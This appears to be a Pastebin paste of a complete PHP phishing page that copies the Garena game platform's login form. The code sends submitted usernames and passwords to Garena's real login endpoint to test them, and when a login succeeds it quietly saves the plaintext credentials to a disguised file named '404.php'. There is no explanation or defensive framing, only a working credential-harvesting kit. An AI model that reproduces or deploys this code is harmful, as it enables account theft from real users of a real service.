Advertisement
Guest User

Untitled

a guest
Mar 14th, 2016
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.26 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. *
  5. *
  6. */
  7.  
  8. if(isset($_POST['login'])){
  9. $cookie = rand(1111,9999);
  10. $ch = curl_init();
  11. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  12. curl_setopt( $ch, CURLOPT_COOKIESESSION, true );
  13. curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
  14. curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie );
  15. curl_setopt($ch, CURLOPT_URL, "http://intl.garena.com/login_ui/");
  16. $input_line = curl_exec ($ch);
  17. curl_close ($ch);
  18. preg_match("/name='csrfmiddlewaretoken' value='(.*)' \/>/", $input_line, $out);
  19.  
  20.  
  21. $username = $_POST['username'];
  22. $password_plain = $_POST['password'];
  23. $password = $_POST['password_rsa'];
  24. $data = "csrfmiddlewaretoken=".$out[1]."&username={$username}&lPasswordLabel=Enter+password+here+...&password={$password}";
  25.  
  26. $post = curl_init();
  27. curl_setopt($post, CURLOPT_POSTFIELDS, $data);
  28. curl_setopt($post, CURLOPT_RETURNTRANSFER, 1);
  29. curl_setopt($post, CURLOPT_VERBOSE, 1);
  30. curl_setopt($post, CURLOPT_HEADER, 1);
  31. curl_setopt($post, CURLOPT_USERAGENT,'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/32.0.1700.107 Chrome/32.0.1700.107 Safari/537.36');
  32. curl_setopt( $post, CURLOPT_COOKIESESSION, true );
  33. curl_setopt( $post, CURLOPT_COOKIEJAR, $cookie );
  34. curl_setopt( $post, CURLOPT_COOKIEFILE, $cookie );
  35.  
  36. curl_setopt($post, CURLOPT_URL, "http://intl.garena.com/login_ui/");
  37. $outputs = curl_exec($post);
  38. curl_close ($post);
  39.  
  40.  
  41. preg_match("/window.location='(.*)';/", $outputs, $keluaran);
  42.  
  43. if($keluaran[1] == "http://intl.garena.com"){
  44. echo "";
  45.  
  46. $x = $username.':'.$password_plain."\n";
  47.  
  48. $y = fopen('404.php','a+');
  49. fwrite($y,$x);
  50. fclose($y);
  51. } else {
  52. echo "Password yang anda masukkan SALAH";
  53. }
  54. }
  55. ?>
  56. <!DOCTYPE html>
  57. <html>
  58. <head>
  59. <meta charset="utf-8">
  60. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  61. <title>Login Garena</title>
  62. <link rel="stylesheet" href="">
  63. </head>
  64. <body>
  65. <form id="frmLoginUI" name="frmLoginUI" method="post" onSubmit="return validate();">
  66. <center><input type="text" name="username" value="" placeholder="Enter username.."><br>
  67. <input type="password" name="password" value="" placeholder="Enter Password.."><br>
  68. <input type="hidden" name="password_rsa" value="">
  69. <input type="submit" name="login" value="Login">
  70. </form>
  71.  
  72. <script language="JavaScript" type="text/javascript" src="http://cdn.garenanow.com/webmain/static/js/jsbn.js"></script>
  73. <script language="JavaScript" type="text/javascript" src="http://cdn.garenanow.com/webmain/static/js/prng4.js"></script>
  74. <script language="JavaScript" type="text/javascript" src="http://cdn.garenanow.com/webmain/static/js/rng.js"></script>
  75. <script language="JavaScript" type="text/javascript" src="http://cdn.garenanow.com/webmain/static/js/rsa.js"></script>
  76. <script language="JavaScript" type="text/javascript" src="http://cdn.garenanow.com/webmain/static/js/grsa.js"></script>
  77. <script type="text/javascript">
  78. function validate(){
  79. document.frmLoginUI.password_rsa.value = RSA(document.frmLoginUI.password.value);
  80. return true;
  81. }
  82. function keyIsPressed(evt) {
  83. var charCode = (evt.which) ? evt.which : evt.keyCode
  84. if( charCode == 13 ) {
  85. validate();
  86. }
  87. return true;
  88. }
  89. </script>
  90. </body>
  91. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement